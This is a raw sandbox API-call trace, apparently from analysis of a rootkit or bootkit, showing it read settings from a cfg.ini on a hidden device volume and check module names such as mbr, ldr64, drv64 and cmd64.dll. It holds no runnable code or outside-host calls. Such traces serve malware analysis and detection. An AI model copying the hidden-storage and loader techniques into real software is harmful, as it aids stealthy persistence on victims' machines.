[0126.646] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0126.646] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.646] KeLeaveCriticalRegion () [0126.646] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.646] KeEnterCriticalRegion () [0126.646] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.646] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0126.646] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80037ed680, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.646] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.646] KeLeaveCriticalRegion () [0126.646] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.646] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.646] KeEnterCriticalRegion () [0126.646] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.646] ExFreePoolWithTag (P=0xfffffa8003ac6310, Tag=0x0) [0126.646] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.646] KeLeaveCriticalRegion () [0126.646] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.647] ReleaseMutex (hMutex=0xf0) returned 1 [0126.647] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.647] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0126.647] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.647] KeEnterCriticalRegion () [0126.647] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.647] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.647] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.647] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.647] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.647] IdePortDispatch () returned 0x103 [0126.648] KeWaitForMutexObject () returned 0x0 [0126.648] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.648] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.648] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.648] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.648] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.648] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bee300 [0126.648] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.648] KeLeaveCriticalRegion () [0126.648] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.648] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.648] KeEnterCriticalRegion () [0126.648] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.648] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0126.648] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.648] KeLeaveCriticalRegion () [0126.648] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.648] KeEnterCriticalRegion () [0126.648] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.648] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.648] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.648] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.649] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0126.649] IdePortDispatch () returned 0x103 [0126.649] KeWaitForMutexObject () returned 0x0 [0126.649] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.649] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.649] KeLeaveCriticalRegion () [0126.649] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.649] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.649] KeEnterCriticalRegion () [0126.649] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.649] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035a4000 [0126.649] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.649] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0126.649] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.649] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.649] IdePortDispatch () returned 0x103 [0126.649] KeWaitForMutexObject () returned 0x0 [0126.649] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.649] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.649] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0126.649] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.649] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.649] IdePortDispatch () returned 0x103 [0126.649] KeWaitForMutexObject () returned 0x0 [0126.650] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.650] KeLeaveCriticalRegion () [0126.650] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.650] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.650] KeEnterCriticalRegion () [0126.650] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.650] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0126.650] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.650] KeLeaveCriticalRegion () [0126.650] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.650] KeEnterCriticalRegion () [0126.650] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.650] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0126.650] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfaca0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.650] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.650] KeLeaveCriticalRegion () [0126.650] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.650] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.650] KeEnterCriticalRegion () [0126.650] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.650] ExFreePoolWithTag (P=0xfffffa8003bee300, Tag=0x0) [0126.650] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.650] KeLeaveCriticalRegion () [0126.650] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.650] ReleaseMutex (hMutex=0xf0) returned 1 [0126.650] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.650] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0126.651] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.651] KeEnterCriticalRegion () [0126.651] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.651] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.651] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.651] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.651] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.651] IdePortDispatch () returned 0x103 [0126.651] KeWaitForMutexObject () returned 0x0 [0126.651] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.651] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.651] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.651] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.651] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.651] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80037eeb90 [0126.651] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.651] KeLeaveCriticalRegion () [0126.651] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.651] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.651] KeEnterCriticalRegion () [0126.651] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.651] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0126.651] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.651] KeLeaveCriticalRegion () [0126.651] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.651] KeEnterCriticalRegion () [0126.651] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.651] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.651] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.651] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.651] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0126.651] IdePortDispatch () returned 0x103 [0126.651] KeWaitForMutexObject () returned 0x0 [0126.652] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.652] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.652] KeLeaveCriticalRegion () [0126.652] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.652] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.652] KeEnterCriticalRegion () [0126.652] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.652] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035a5000 [0126.652] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.652] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0126.652] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.652] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.652] IdePortDispatch () returned 0x103 [0126.652] KeWaitForMutexObject () returned 0x0 [0126.652] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.652] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.652] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0126.652] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.652] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.652] IdePortDispatch () returned 0x103 [0126.652] KeWaitForMutexObject () returned 0x0 [0126.652] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.652] KeLeaveCriticalRegion () [0126.652] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.653] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.653] KeEnterCriticalRegion () [0126.653] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.653] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0126.653] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.653] KeLeaveCriticalRegion () [0126.653] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.653] KeEnterCriticalRegion () [0126.653] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.653] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0126.653] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80037e0840, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.653] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.653] KeLeaveCriticalRegion () [0126.653] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.653] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.653] KeEnterCriticalRegion () [0126.653] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.653] ExFreePoolWithTag (P=0xfffffa80037eeb90, Tag=0x0) [0126.653] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.653] KeLeaveCriticalRegion () [0126.653] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.653] ReleaseMutex (hMutex=0xf0) returned 1 [0126.653] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0126.653] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0126.653] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0126.653] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0126.653] KeEnterCriticalRegion () [0126.653] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.653] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.653] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.654] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.654] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.654] IdePortDispatch () returned 0x103 [0126.654] KeWaitForMutexObject () returned 0x0 [0126.654] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.654] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0126.654] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.654] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.654] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.654] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.654] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.654] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.654] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.654] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0126.654] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.654] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.654] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.654] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.654] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.654] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.654] KeLeaveCriticalRegion () [0126.654] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.654] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0126.654] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0126.654] KeEnterCriticalRegion () [0126.654] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.654] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.654] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.654] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.654] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.654] IdePortDispatch () returned 0x103 [0126.654] KeWaitForMutexObject () returned 0x0 [0126.654] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.655] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0126.655] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.655] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.655] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.655] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.655] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.655] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.655] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.655] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0126.655] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.655] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.655] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.655] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.655] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.655] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.655] KeLeaveCriticalRegion () [0126.655] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.655] ReleaseMutex (hMutex=0x100) returned 1 [0126.655] Sleep (dwMilliseconds=0x2bf20) [0126.661] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6eb05370, dwHighDateTime=0x1d24fa4)) [0126.661] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0126.661] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.661] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0126.661] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.661] KeEnterCriticalRegion () [0126.661] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.661] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.661] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.661] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.661] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.661] IdePortDispatch () returned 0x103 [0126.661] KeWaitForMutexObject () returned 0x0 [0126.661] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.662] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.662] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.662] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.662] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.662] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80037eddf0 [0126.662] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.662] KeLeaveCriticalRegion () [0126.662] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.662] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.662] KeEnterCriticalRegion () [0126.662] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.662] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0126.662] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.662] KeLeaveCriticalRegion () [0126.662] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.662] KeEnterCriticalRegion () [0126.662] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.662] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.662] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 